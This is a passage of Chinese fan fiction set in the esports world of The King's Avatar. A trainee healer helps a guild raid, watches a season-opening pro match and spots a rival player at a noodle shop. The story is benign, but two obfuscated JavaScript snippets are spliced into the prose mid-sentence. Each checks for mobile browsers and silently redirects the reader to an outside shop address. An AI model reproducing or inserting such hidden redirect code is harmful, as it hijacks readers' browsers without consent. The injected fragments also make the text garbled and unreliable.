我的朋友!别客气!你们吃饭了吗?要不要一起?这附近好吃的可多了!” 乔一帆看向高英杰,用眼神询问。高英杰犹豫了一下,轻轻点了点头。 “太好了!”夏轻禾一拍手,“走走走,我知道前面有家店炸酱面特别地道,还有炒肝也不错!姐,我们带他们一起去吧?” 夏茗自然是没意见,笑着点点头。 四人一起找了家看起来干净热闹的老字号小吃店,拼了张桌子坐下。夏轻禾熟门熟路地点了炸酱面、炒肝、豌豆黄、驴打滚,又给每人要了瓶北冰洋汽水。 一开始,高英杰还有些放不开,只是小口喝着汽水,安静地听夏轻禾和乔一帆聊天。夏轻禾的话匣子一打开就收不住,从今天自主练习时遇到的趣事,说到最近网游里遇到的奇葩队友,又聊到各自在训练营的日常。 乔一帆话不算多,但总是能恰到好处地接上话,说到自己刺客练习时遇到的瓶颈,也说到最近在尝试理解更多的战术思路。 夏茗偶尔会插几句,问问训练营的大致情况,气氛轻松愉快。 慢慢地,在夏轻禾活泼气氛的带动和乔一帆温和态度的感染下,高英杰似乎没那么紧张了。当夏轻禾问起他魔道学者玩得怎么样,最喜欢哪个技能时,他眼睛亮了一下,虽然声音还是不大,但话明显多了起来。 “我……我喜欢用扫把掌握。感觉在空中变换方向,寻找攻击角度,很有意思。”高英杰说着,还用手比划了一下,“熔岩烧瓶的落点预判也需要多练习……” “对对对!扫把飞行可帅了!”夏轻禾附和道,随即又苦着脸,“不过你们魔道学者飞起来,我们治疗加血可就头疼了。我昨天就遇到一个,那走位,我的治疗术根本追不上!” 乔一帆好奇地问:“是高手吗?” “肯定是!”夏轻禾笃定地说,“虽然没见他用多华丽的连招,但那意识,那对位置的感觉,绝对不一般!” 高英杰听得认真,小声说:“魔道学者……确实有很多地方可以钻研。王杰希队长的魔术师打法,就对走位和时机的把握要求非常高。” 话题自然而然地转到了各自崇拜的职业选手上。夏轻禾自然是力挺自家副队长方士谦,夸他治疗如何如何稳如泰山,指导如何如何一针见血。乔一帆则表示很崇拜嘉世战队队长叶秋的战术布局能力。高英杰则毫不意外地,对王杰希推崇备至,说起王队比赛中的一些经典操作,眼睛都在发光,虽然语气依旧腼腆,但能感觉到那份发自内心的崇拜和向往。 一顿饭下来,气氛融洽。离开小吃店时,高英杰虽然还是不太主动说话,但脸上的表情明显放松了很多,偶尔也会露出浅浅的笑容。他和乔一帆走在一起,低声交流着刚才吃的哪种点心味道最好。 夏茗跟在三个年轻人身后,看着夏轻禾叽叽喳喳、乔一帆温和陪伴、高英杰逐渐融入的样子,眼里带着笑意。她看得出,高英杰是个天赋和努力都不缺的孩子,只是性格需要更多的阳光和鼓励。而自己的妹妹,别的不说,在带动气氛、让人放松这方面,倒是天赋异禀。 夜色渐深,小吃街的灯火愈发璀璨。分别时,夏轻禾还热情地跟高英杰交换了联系方式,说以后游戏里可以一起玩。 回家的路上,夏轻禾心情很好,哼着不成调的歌。 今天认识了新朋友,吃了好吃的,还放松了心情,明天又能元气满满地投入到方副队的“折磨”……啊不,是教导中去了! 14. 第 14 章 自从上次小吃街偶遇后,夏轻禾的游戏好友列表里,又多了两个闪亮的ID。一个是刘小别剑客飞刀剑,;另一个是高英杰的魔道学者木恩。 加好友的过程颇为简单直接。夏轻禾是在训练营里直接找到刘小别,大大方方地说:“刘小别,我是夏轻禾,就是上次漫展找你帮忙打音游那个!你游戏ID是不是飞刀剑?加个好友呗,以后有空一起切磋,或者抢BOSS缺人叫我啊!” 刘小别当时正在做手速练习,闻言转过头,脸上没什么特别表情,只是点了点头,报出了自己的ID。夏轻禾当场就加上了,还凑过去看了一眼他屏幕上的手速测试软件,啧啧称奇:“你这APM也太吓人了!” 对于高英杰,她则是通过乔一帆牵的线。某次训练休息时,她对乔一帆说:“一帆,把你那个魔道学者朋友高英杰的游戏ID给我呗?我加他好友,以后说不定可以请教一下魔道学者的走位心得,或者一起下本。” 乔一帆很乐意地帮忙联系,没过多久,木恩的好友申请就发到了夏轻禾这里。 于是,夏轻禾在网游中的社交圈子,不知不觉又扩大了一圈。 这天晚上,夏轻禾照例登录她的守护天使账号云帆,准备跟随中草堂的队伍去争夺一个刷新在雪山地图的70级野图BOSS冰霜领主。刚在主城集合点站定,就收到了几条私聊消息。 飞刀剑:抢BOSS?组我一个。 木恩:夏……夏轻禾前辈,我也在集合点,可以跟团吗? 夏轻禾一看乐了,立刻回复:叫啥前辈,叫轻禾就行!组你们! 她把两人都拉进了团队。团长看到飞刀剑和木恩这两个不算太眼熟的ID,随口问了一句:“云帆,你朋友?靠谱吗?” 云帆:放心,绝对靠谱!手速怪和走位精! 这话引来团队里一阵讨论。很快,大团传送到了寒风凛冽的雪山地图。冰霜领主庞大的身躯在冰川峡谷中缓缓移动,周身散发着刺骨的寒气和冰晶。 战斗很快打响。冰霜领主的技能以范围减速、冰冻控制和持续冰伤为主,对团队的走位和持续治疗能力要求很高。夏轻禾操作着云帆,顶在前排副T的位置,用挑衅拉住刷新出来的冰霜幼龙,用惩戒之击的范围眩晕配合队友清理,同时用恢复术和生命激活稳着自己和附近队友的血线,圣盾术则捏在手里,随时准备应对BOSS的极寒吐息。 飞刀剑一进入战斗,立刻展现了他那招牌式的疾风骤雨攻击。他的剑光快得几乎连成一片,在蓝溪阁和霸气雄图的玩家堆里穿梭,手起剑落,收割效率极高,虽然偶尔会因为冲得太猛被集火打残,但总能及时撤回,或者被夏轻禾一个及时的大治疗抬起来。他的存在感极强,如同一把锋利的尖刀。 而木恩则完全是另一种风格。他的魔道学者骑着扫把,飞行轨迹流畅而精准,总是游弋在战场的边缘或者敌人阵型的薄弱处,一个个熔岩烧瓶、酸雨干冰丢下去,伤害可观且总能打断关键节奏。他的走位确实非常精妙,总能在密集的技能缝隙中安然穿梭,让夏轻禾看得暗自点头。虽然不像那个当归那么变态地躲治疗,但这种对安全距离和输出环境的掌控,同样显示了极高的天赋。 有了这两个生力军的加入,中草堂这边的攻势明显更加犀利。夏轻禾也打得很舒服,飞刀剑的高爆发需要她时刻留意他的血线突进,木恩的稳定输出和走位则让她能更从容地分配治疗资源。 就在BOSS血量过半,战斗进入最激烈阶段时,夏轻禾忽然在混战的人群中看到了一个熟悉的ID,横刀。那个之前一起下过副本、性格爽朗的狂剑士队长。 横刀显然也看到了她,或者说,看到了那个在人群中顶着伤害、治疗光芒不断闪耀的守护天使云帆。他甚至抽空在附近频道喊了一句:云帆妹子!又见面了!厉害啊! 夏轻禾没空打字回应,只是操作云帆朝着横刀队伍的大概方向晃了晃十字架,算是打过招呼。 一场激烈的争夺战后,冰霜领主倒在了中草堂的集火之下。再次成功抢到BOSS,团队频道里一片欢腾。分材料的时候,飞刀剑和木恩也都分到了不错的报酬。 退出团队后,夏轻禾正准备问问刘小别和高英杰接下来有什么打算,横刀的私聊消息就跳了过来。 横刀:妹子!今天又碰上了,缘分啊!刚才看你那守护天使玩得,越来越溜了!扛得稳,奶得准,还能控!绝了! 云帆:谢谢夸奖,你们队今天也打得很凶啊。 横刀:哈哈,还行!对了妹子,跟你商量个事儿呗?你看我们固定队,就缺一个像你这样又硬又能奶还能当半个T用的守护天使大神!要不要考虑来我们公会?或者直接加入我们固定团?福利待遇好商量!咱们一起开荒打本抢BOSS,绝对爽! 夏轻禾看着这条邀请,有点意外,又有点感动对方的认可。但她很快回复:谢谢横刀大哥看得起!不过我真的只是随便玩玩,平时比较忙,上线时间不固定,可能没法固定跟团活动。还是现在这样,有空碰到了就一起玩比较好,不然怕耽误你们进度。 她说的忙是实话,只不过横刀理解的是学业或者工作忙。 横刀那边似乎有点失望,但也没强求:这样啊……那太可惜了。不过妹子你说得对,有空一起玩就行!以后下本打BOSS缺T缺治疗,我第一个喊你! 云帆:没问题! 又聊了几句,横刀那边似乎有事,便先下线了。 接下来的几天,夏轻禾依然保持着白天在俱乐部训练,晚上偶尔用云帆上游戏放松或者练习的频率。她和飞刀剑、木恩也约着一起做过几次日常任务,或者在小规模PK中切磋,配合越来越默契。 这天晚上,夏轻禾刚做完方士谦布置的治疗视野扩展练习作业,正准备下线休息,私聊频道又急促地闪烁起来,还是横刀。 横刀:妹子!在不在!急事!救命! 云帆:?怎么了? 横刀:我们团今晚开荒团队副本暗影神殿最高难度,本来治疗配置好好的,结果有两个治疗临时有事来不了!现在缺治疗缺口很大!副本门都开了,人都组齐了,就等治疗!妹子你能不能来江湖救急一下?就当帮哥一个忙!报酬绝对让你满意! 夏轻禾看了看时间,不算太晚。又看了看横刀焦急的语气,想着之前下本时对方也挺照顾自己,便回复:什么难度?我对那个副本不熟。 横刀:最高难度!攻略我们都研究透了,指挥也会详细讲!妹子你技术绝对没问题,听指挥就行!主要是需要治疗够硬,能扛住压力!求你了妹子,救场如救火啊! 夏轻禾想了想,反正也是练习,去见识一下高难度团队副本,锻炼一下承压能力和应变能力也不错。于是回复:行吧,我试试。不过先说好,我不保证一次过,而且我真不熟。 横刀:太好了!妹子你就是我们的救星!不要求一次过,能推多少是多少!快来!组你了! 夏轻禾接受了横刀的组队邀请,加入了那个名为“刀锋所向”的40人团队。团队里其他成员看到她这个陌生的守护天使ID“云帆”,而且装备看起来也不是顶级的副本装备,都有些疑虑,在团队频道里问横刀。 横刀立刻拍胸脯保证:放心!云帆妹子是我请来的外援大神!技术绝对过硬!上次我们一起打沼泽遗迹,那T当得叫一个稳!听指挥,没问题的! 听他这么说,团队里质疑的声音才小了下去。夏轻禾也不多话,快速浏览了一遍横刀发过来的简易攻略和团队站位图,然后跟随大部队传送进了暗影神殿副本。 副本内部阴森恢弘,充满了各种暗影生物和诡异的机关。横刀作为团长,指挥起来倒是条理清晰,前面几个小BOSS和机关区,虽然有些小波折,但都有惊无险地通过了。 然而,打到一号BOSS暗影编织者时,问题出现了。这个BOSS有个非常恶心的机制:它会随机点名非T玩家,在其脚下生成一个不断扩大的暗影区域,玩家站在里面会受到持续高额伤害,并且移动速度大幅降低。同时,BOSS还会周期性地释放全屏AOE技能,需要所有人分散站位躲避。 难点在于,被点名的玩家需要立刻将暗影区域带到场地边缘,避免影响大团。但灵魂撕裂伤害很高,减速效果又让移动艰难,单靠玩家自己很难活着走到边缘,必须依靠治疗的重点照顾和可能有的加速技能。 横刀团队的治疗配置本来就不满,现在少了两个人,分摊到每个治疗身上的压力更大。几次尝试,都因为被点名的玩家得不到及时足够的治疗,或者治疗为了加血站位过于集中吃了暗影新星而减员,导致团灭。 又一次团灭后,团队气氛有些低迷。横刀也有些着急,在语音里说:“治疗压力太大了,点名的人走不动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029052|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加血的人又不敢靠太近……云帆妹子,你是守护天使,皮糙肉厚,有没有什么办法?” 夏轻禾一直在观察和思考。守护天使的防御和自保能力比牧师强,或许可以试试…… “这样,”她在团队频道打字,“下次再点名,如果点的是近战或者离我不远的远程,我开圣盾术过去,接一个挑衅把他附近的暗影小怪稍微拉一下,然后用惩戒之击控一下场,顺便用恢复术和生命激活帮他硬抗着往边上走。其他治疗主要看大团血线和另外的被点名者。” 横刀眼睛一亮:“可以试试!妹子你扛得住吗?那个伤害很高!” 云帆:我试试看,不行就开极限生存。 极限生存是守护天使的保命大招,短时间内大幅提升伤害减免。 又一次尝试开始。BOSS施法,暗影标记出现在一个元素法师脚下。 “就是现在!”横刀喊。 夏轻禾操作云帆,直接开启圣盾术,晶莹的光盾笼罩全身,无视了脚下的普通暗影伤害,一个滑步冲到元素法师身边。十字架一挥,挑衅光环亮起,将旁边两只刚刷新出来的暗影仆从的注意力拉到自己身上。紧接着,惩戒之击!扇形光晕拍出,将两只仆从和BOSS都打入短暂眩晕,打断了仆从的第一波攻击。 同时,恢复术的光芒落在元素法师身上,生命激活的光效也在云帆自己身上亮起。她顶在元素法师侧前方,用自己的身体挡住部分来自仆从的远程攻击,嘴里喊着:“跟我走!慢慢退!” 元素法师反应过来,忍着减速和伤害,艰难地向场地边缘移动。云帆步步紧逼,圣盾术时间结束后,立刻开启坚定意志,硬吃伤害。她的血量在暗影区域和仆从攻击下稳步下降,但下降速度明显比之前的治疗尝试时要慢得多。 其他治疗见状,立刻集中火力刷云帆和那个元素法师的血。终于,在云帆血量降到百分之四十左右时,两人成功将暗影区域带到了场地边缘指定位置。夏轻禾立刻操作云帆一个后跳,脱离了高伤害区域。 “漂亮!”横刀大喊,“就这么打!云帆妹子牛逼!” 有了这一次的成功经验,团队信心大增。夏轻禾的守护天使成了应对灵魂撕裂机制的奇兵。她时而用圣盾术强冲,时而用壁垒硬顶物理攻击,极限生存也在关键时刻开了两次,硬生生用自己高防御和多种减伤技能,为被点名的队友创造了移动到安全区域的机会。 她的表现不仅稳定了团队,更让其他治疗能够更专注于大团血线和躲避AOE。一号BOSS,终于在一次惊险的拉锯战后轰然倒地。 “过了!!”团队语音里爆发出欢呼。横刀激动得声音都变了:“妹子!太神了!你就是我们团的福星!这守护天使玩得出神入化!” 夏轻禾也松了口气,看着云帆不多的血量,擦了擦手心的汗。这种高压下的应对和抉择,确实非常锻炼人。 接下来的副本推进中,夏轻禾继续发挥着重要作用。在需要治疗承受大量环境伤害的通道,她顶在前面;在需要打断关键技能的场合,她的惩戒之击和圣光打总能找到时机;她的存在,极大地缓解了团队治疗不足的压力。 虽然最终因为时间已晚,团队只推到了一号BOSS后面一点,没能见到二号BOSS,但这次的救场行动无疑是大获成功的。 退出副本后,横刀团队的人对夏轻禾赞不绝口,纷纷加她好友,邀请她以后常来。夏轻禾谦虚地表示只是尽力而为。 她不知道的是,她今晚在暗影神殿中的出色表现,尤其是以守护天使之躯硬抗机制、屡次救场的操作,已经通过横刀团队成员的传播,在这个服务器的高端玩家圈子里小范围地传开了。 “中草堂那个云帆,守护天使玩得真凶!” “听说刀锋所向开荒缺治疗,找了个外援,是个妹子,用守护天使把一号BOSS那个恶心机制给破解了!” “真的假的?守护天使还能那么玩?求录像!” 甚至,连一些大公会的高层管理,也听说了这个名字。毕竟,一个能独立承担部分高难度副本机制、意识操作俱佳的守护天使玩家,在任何团队都是稀缺资源。 夏轻禾对此浑然不觉,她只是觉得今天这场实战练习收获很大,心满意足地退出游戏,准备睡觉。对她而言,云帆在网游里的名声,远不如明天方士谦要检查的作业来得重要。 15.第 15 章 秋天的气息渐渐染上B市的街道,微草俱乐部里却是一派夏末未尽的热火朝天。新赛季即将拉开帷幕,空气里都弥漫着紧绷而兴奋的味道。 训练间隙,夏轻禾拿着手机,手指飞快地敲击屏幕。不多时,一个名为“微草幼苗催更群(奋斗版)”的微信群聊建立了起来。她把乔一帆、高英杰、刘小别都拉了进来。 夏轻禾:同志们!为了加强内部交流,互相督促,共同进步,特此建立本群!以后训练累了、压力大了、有什么游戏里的好点子或者想吐槽教练(划掉),都可以在这里畅所欲言!鼓掌.jpg 乔一帆几乎是秒回:收到,轻禾姐!这个群名……很有轻禾姐的风格。 过了一会儿,高英杰也小心翼翼地回复:大家好……我会努力不拖后腿的。 刘小别则是言简意赅:一起加油 虽然回复风格迥异,但这个小小的、只有四个人的群聊,却仿佛在忙碌的训练生活中,开辟了一个可以稍微喘息、分享点滴的角落。夏轻禾会把她跟着方士谦学到的某个刁钻技巧简化后分享出来,乔一帆会偶尔发一些他观察到的战术细节,高英杰在王杰希的指点下对魔道学者有了新感悟时,也会鼓起勇气在群里说两句。刘小别话最少,但偶尔冒出一句关于手速练习的体会或者竞技场遇到的高手的操作,也总能引起讨论。 他们都知道彼此在训练营,甚至就在同一栋楼里,但各自的方向和专注点已然不同。夏轻禾跟着方士谦,在治疗的双修道路上艰难跋涉;高英杰得到了王杰希的额外关注,开始接触更核心的魔道学者技巧和战术思路;乔一帆和刘小别也在各自的职业道路上稳步前进,一个打磨意识,一个锤炼极致的手速。 这个群,成了他们平行轨道之间,偶尔交汇的星光。 时间在日复一日的训练和偶尔的群聊水花中滑过,荣耀职业联盟第六赛季的开幕日,终于到了。 因为微草是上个赛季的冠军,按照惯例,新赛季的开幕赛将在他们的主场举行,对手正是上个赛季的亚军霸图战队。这无疑是一场焦点之战,吸引了无数目光。 开幕赛前一天,训练结束后,方士谦叫住了夏轻禾。 “明天开幕赛,你跟我一起去现场。”方士谦语气平常,仿佛在说一件再自然不过的事情,“作为战队重点关注的后备队员,近距离感受一下主场比赛的气氛,尤其是这种强强对话的压力和节奏。位置给你留好了,在队员家属和后勤区,视角不错。” 夏轻禾正在收拾东西的手一下子停住了,她抬起头,眼睛瞪得圆圆的,里面瞬间迸发出难以置信的惊喜光芒:“真、真的吗?我可以去现场?还能坐那么好的位置?” “嗯。”方士谦看着她那副快要跳起来的样子,忍不住笑了笑,“别光顾着激动,带好眼睛和脑子。看比赛,不仅仅是看热闹,要看门道。尤其是治疗位,看张新杰怎么应对我们的攻势,看我在团队里怎么选择站位和技能。这些光看录像和听讲解是不够的,现场的气氛和临场抉择的细微之处,需要亲身感受。” “明白!谢谢方副队!”夏轻禾用力点头,感觉心脏因为兴奋而砰砰直跳。能去现场看开幕赛!还是坐在那么好的位置!这简直是做梦一样! 第二天傍晚,夏轻禾早早来到了微草主场体育馆外。巨大的场馆灯火通明,人声鼎沸,穿着微草绿色队服或举着应援物的粉丝们从四面八方汇聚而来,空气中充满了大战前的热烈与期待。 她按照方士谦给的指示,从工作人员通道进入场馆内部,找到了预留的位置。那是一片视野极佳的观众席,位置靠前,斜对着比赛台,既能看清大屏幕上比赛的细节,又能看到选手席上队员们的状态。 她刚坐下,就听到旁边传来一个有些迟疑的声音:“夏……夏轻禾?” 夏轻禾转头,看到了同样穿着便服、显得有些拘谨的高英杰。少年清秀的脸上带着一丝紧张,手里还无意识地捏着门票。 “英杰!你也来了!”夏轻禾高兴地挥手,“快坐这边!王队让你来的吗?” 高英杰在她旁边的空位坐下,点点头,小声说:“嗯,队长说……让我也来感受一下。” 他的目光扫过座无虚席、声浪如潮的观众席,又看向下方灯光聚焦、空旷而庄严的比赛台,眼神里混杂着向往、敬畏和一丝不易察觉的怯意。 “太好了!咱们又能一起看比赛了!”夏轻禾拍了拍他的肩膀,试图缓解他的紧张,“别紧张,就当是来学习的!你看,那边是选手入场口,待会方副队他们就从那里出来!还有那里,比赛台!待会王队就会站在上面!想想就激动!” 她的话语充满了感染力,高英杰听着,紧绷的嘴角微微放松了一些,也跟着她的手指看向那些地方,眼神渐渐专注起来。 场馆内的灯光暗了下来,只留下几束追光打在中央的比赛台上。激昂的音乐响起,主持人充满激情的声音通过音响传遍全场,介绍着两支即将登场的豪门战队。 当主持人喊出“微草战队”的名字时,整个场馆爆发出山呼海啸般的欢呼和掌声!绿色的荧光棒和应援牌汇成一片波涛汹涌的海洋。 夏轻禾和高英杰也情不自禁地跟着站了起来,用力鼓掌。 选手通道口,以王杰希为首,微草战队的队员们身着整齐的队服,步伐沉稳地走了出来。王杰希走在最前面,表情平静,目光扫过观众席,自带一股沉稳的气场。跟在他身后的方士谦,脸上带着惯常的温和笑意,偶尔朝欢呼的粉丝区挥挥手。 夏轻禾的目光紧紧追随着方士谦的身影,看着他走到微草战队的选手席坐下,和旁边的队员低声交谈。她的心跳得飞快,一种与有荣焉的骄傲感和对那个舞台深深的渴望交织在一起。 高英杰的目光则牢牢锁在王杰希身上,看着队长在选手席坐下,微微侧头和身边的副队长说着什么,神情专注而沉稳。那就是他努力追赶的目标,那座似乎遥不可及的高山。 简单的开幕仪式和选手介绍后,比赛很快进入正题。个人赛,擂台赛,团队赛……一场接一场紧张激烈的对决在舞台上展开。 夏轻禾全神贯注,眼睛几乎不眨地盯着大屏幕。她重点关注着治疗位的博弈。霸图的张新杰,id石不转,打法以严谨、精确、大局观强著称,是联盟最顶尖的治疗之一。他的每一个走位,每一次技能释放的时机选择,都带着一种冷静到极致的计算感。 而方士谦的冬虫夏草,则呈现出另一种风格。精准依旧,但在精准之外,多了一份难以言喻的灵动和恰到好处的“冒险”。他总能在团队最需要的时候出现在最恰当的位置,用治疗稳定局势,用控制打断对手节奏,甚至偶尔会用神圣之火或催眠进行精妙的反击,为队友创造机会。 两个顶尖治疗在团队赛中的隔空斗法,没有刀光剑影,却同样惊心动魄。夏轻禾看得手心冒汗,时而为方士谦一次精妙的走位避开集火而松了口气,时而又为张新杰一个预判准确的圣盾挡住关键伤害而暗暗佩服。 原来,真正的职业级对抗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031335|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是这样的……每一个细节都可能影响战局,每一次选择都背负着巨大的压力和责任。夏轻禾感觉自己之前对“治疗”的理解,还是太肤浅了。 高英杰同样看得目不转睛,他的目光更多追随着王杰希的王不留行。那个在赛场上飞舞的魔道学者,将魔术师打法的诡谲多变展现得淋漓尽致。看似毫无规律的飞行轨迹,却总能精准地切入战场最要害的位置,打乱霸图的阵型,为微草的攻势打开缺口。 那就是队长的实力……强大,深不可测。高英杰既感到震撼,又感到一种沉甸甸的压力。自己要多久,才能触及到那样的高度? 比赛进行到白热化阶段,微草和霸图比分交替上升,团队赛更是打得难解难分。场馆内的气氛紧张到了极点,每一次精彩的交锋都能引发巨大的欢呼或叹息。 在一次关键的小规模团战中,冬虫夏草一次精准的催眠控住了霸图试图切入后排的格斗家,为微草赢得了宝贵的集火时间。 最终,经过一番鏖战,微草战队在主场以微弱的优势险胜霸图,拿下了新赛季的开门红。当王杰希代表战队起身向观众致意时,全场再次沸腾。 灯光重新亮起,观众开始有序退场。夏轻禾和高英杰却还坐在座位上,似乎还沉浸在刚才那场激烈比赛的余韵中。 场馆内的喧嚣渐渐散去,只剩下工作人员收拾场地的细微声响。头顶的灯光柔和地洒下,照在两个少年人激动未平的脸上。 夏轻禾转过头,看向高英杰,眼睛里闪烁着无比明亮和坚定的光芒,那是一种被顶级赛场点燃、对未来充满无限憧憬的光。 “英杰,”她开口,声音不大,却清晰地回响在略显空旷的观众席,“总有一天,我也要像方副队一样,站在那里。” 她伸手指向下方灯光依旧聚焦的比赛台,那里仿佛还残留着刚才激烈对抗的痕迹。 高英杰顺着她的手指望去,看向那个象征荣耀与梦想的舞台,又看向选手席的方向。他清秀的脸上,腼腆渐渐被一种同样坚定的神色取代。他点了点头,声音虽然依旧不大,却比平时多了几分力量: “我也是……我也想像队长一样强大。” 夏轻禾听到他的回答,笑了,笑容灿烂得像夏日的阳光。她伸出手,掌心向上: “那说好了哦,我们要一起加油啊!你成为像王队那样厉害的魔道学者,我成为像方副队那样……唔,可能有点不一样的厉害治疗!我们一起,站上那个舞台!” 高英杰看着眼前少女充满活力和信念的笑脸,看着她伸出的手,心中的怯意和彷徨似乎被这股暖流冲淡了许多。他也缓缓伸出手,轻轻放在夏轻禾的手上。 “嗯。”他再次点头,这一次,眼神更加清晰和明亮。 两只年轻的手轻轻交叠,许下了一个关于未来的约定。 或许是被夏轻禾那永远充满干劲的情绪所感染,高英杰也觉得胸腔里有一股热血在慢慢沸腾起来。他望向比赛台的眼神,不再仅仅是仰望和敬畏,更添了一份“总有一天我也要站在那里”的渴望与决心。 少女的眼中,倒映着属于治疗之神的白色牧师袍;少年的眼中,则闪耀着魔术师那变幻莫测的扫把轨迹。 灯光渐次熄灭,场馆即将归于宁静。但两个年轻人心中的火焰,却刚刚被这场开幕赛,被彼此的话语和约定,真正点燃。 退场的通道里,人潮涌动。夏轻禾还在兴奋地和高英杰讨论着刚才比赛的细节,两人都从对方的眼中看到了相似的、被激发的斗志。 16.第 16 章 深夜的B市街头,喧嚣渐渐沉淀,只剩下零星的车流和几家还亮着灯的食肆。看完开幕赛的兴奋劲儿过去后,胃里的空虚感就格外明显起来。夏轻禾摸了摸咕咕叫的肚子,扭头问旁边的高英杰:“英杰,你饿不饿?我知道这附近有家炸酱面特地道,开了好多年了,去不去?” 高英杰也正觉得有点饿,闻言点了点头:“好。” 夏轻禾立刻掏出手机,在他们的群里发了条消息:看完比赛饿死了!我和英杰准备去XX路家炸酱面觅食,一帆小别你们来不来? 没过几秒,乔一帆回复:好啊,我刚出地铁站,离那边不远,马上到! 刘小别则简单直接:吃过了,你们去吧。 “搞定!一帆也来!”夏轻禾收起手机,熟门熟路地领着高英杰拐进了一条不算太宽的老街。街角一家店面不大、招牌都有些年头的炸酱面馆还亮着温暖的灯光,玻璃窗上蒙着一层薄薄的水汽,里面人影晃动。 “就是这家!”夏轻禾推开店门,一股混合着酱香、面香和炸物油脂香的热气扑面而来,店里地方不大,摆了七八张桌子,这个点还有两三桌客人。 “老板,来三碗炸酱面!一碗不要豆芽!”夏轻禾熟络地冲着柜台后忙碌的老板喊道,声音清脆。 “得嘞!几位里边请,先歇歇腿儿! 三碗炸酱面,有一碗别搁豆芽儿啊!”系着围裙的老板是个五十多岁的大叔,声音洪亮,操着一口地道的B市口音。 夏轻禾找了个靠墙的四人桌,和高英杰先坐了下来。等待的间隙,两人忍不住又聊起了刚才的比赛,从王杰希魔术师打法的神出鬼没,到方士谦关键时刻的精准治疗,再到霸图那边韩文清的刚猛拳法和张新杰滴水不漏的防守。 他们聊得投入,没注意到斜对角靠窗的那张小桌子上,坐着一个独自用餐的客人。 那人穿着件看起来很厚实的深色连帽外套,帽子拉起来罩在头上,几乎把整张脸都遮住了,只露出一双眼睛和一副细框眼镜。他面前摆着一个炸酱面碗,还有一个吃了一半的肉饼。他吃得很慢,很有规律,一口面,或者一口饼,咀嚼得认真而专注。 这正是刚刚在赛场上惜败于微草的霸图副队长,张新杰。比赛消耗大,他一向胃口不错,但输了比赛,队友们情绪都不高,只想在酒店随便解决。他却按照自己一贯的习惯,在比赛结束后,找一家当地评价不错的小店,品尝一下本地风味,既是补充能量,也算是一种放松和体验。 这家炸酱面馆是他在美食APP上查到的,评分很高,离场馆也不算太远。他特意换了便装,还做了点伪装,就是不想引起不必要的注意。 夏轻禾和高英杰进来时,他确实注意到了两人身上的微草队服——那种款式明显是粉丝版或者训练营的,并非正式队员队服。在微草主场附近看到穿微草队服的年轻人,再正常不过。他只看了一眼,便继续专注于自己面前的食物,耳朵却无可避免地捕捉到两个年轻人活力十足的讨论声。 “王队最后那波切入简直神了!直接从石不转的视野盲区钻过去!”这是那个女孩的声音,语速挺快。 “嗯……张新杰前辈的防守范围已经拉得很开了……”这是那个男孩,声音小一些,更腼腆。 “是啊,所以王队才厉害嘛!不过说真的,张新杰也好强啊!你看他每次技能放的,就跟用尺子量过一样准!血量计算也超厉害,我们集火好几次,眼看就要打掉他们一个,总被他关键时刻奶回来!烦死了,但又不得不服!”女孩的语气里带着明显的赞叹,甚至有点……崇拜? 正在夹起一块肉饼的张新杰,手上的动作几不可察地顿了一下。镜片后的目光微微抬起,隔着帽檐的阴影,快速地扫过斜对角那桌正聊得热火朝天的两个微草训练生。输了比赛,心情谈不上好,但听到对手粉丝如此直白地肯定自己的实力,心底深处,还是有一丝极其微弱的、连他自己都可能没意识到的情绪波动。如果仔细看,或许能发现他露在衣服外的耳廓边缘,有一点点不易察觉的淡红。 他低下头,继续安静地吃饼。一碗炸酱面和一个肉饼下肚,对于他今晚的消耗来说,显然不够。他看了一眼墙上的菜单,犹豫了一下。 就在这时,店门又被推开,风铃响动。一个看起来温文清秀的男孩走了进来,左右张望了一下,看到夏轻禾和高英杰,脸上露出笑容,快步走了过去。 “一帆!这里!”夏轻禾挥手。 乔一帆在空位上坐下,三人小团队凑齐,话题更加热闹起来。而张新杰也在这时做出了决定。 他放下筷子,抬手示意了一下老板,声音隔着口罩有些闷,但依旧清晰平稳:“老板,麻烦再来一碗炸酱面,加个鸡蛋。” “得嘞!小伙儿胃口不错啊!”老板笑呵呵地应着,麻利地下单。 这声点单和老板的调侃,让旁边桌上的三人暂时停下了话头,目光不由得被吸引过来。毕竟,在这个时间点,一个人吃完一碗面一个饼还要再加一碗面加蛋,确实挺显眼的。 夏轻禾一边嗦着刚上桌、香气扑鼻的炸酱面,一边用眼角余光打量着斜对角那个胃口很好的青年。帽子,口罩,厚外套……打扮得严严实实,坐在角落,安静吃面……怎么感觉……有点怪怪的?而且,那身形,那坐姿,还有那副眼镜…… 夏轻禾脑子里某个画面突然闪过——今晚比赛大屏幕上,那个总是坐在霸图选手席最边上、神情严肃专注的侧影…… “喂喂,”夏轻禾压低声音,凑近乔一帆和高英杰,用气声说道,“你们俩,不觉得他……有点像一个人吗?” 乔一帆愣了愣,有些不好意思,压低声音:“轻禾姐,这么议论别人不太好吧……” 高英杰也看了看那个方向,小声道:“我……我也觉得有点眼熟。” 夏轻禾越想越觉得像。那身形,那即使裹得严实也透出的“规矩”感,还有那副眼镜……她一边嗦着面,一边眼睛滴溜溜地往那边瞟,脑子里飞快地把那个埋头吃面的身影和“霸图张新杰”划上了越来越粗的等号。 不会……真的是他吧?这么巧?输了比赛一个人跑出来吃炸酱面? 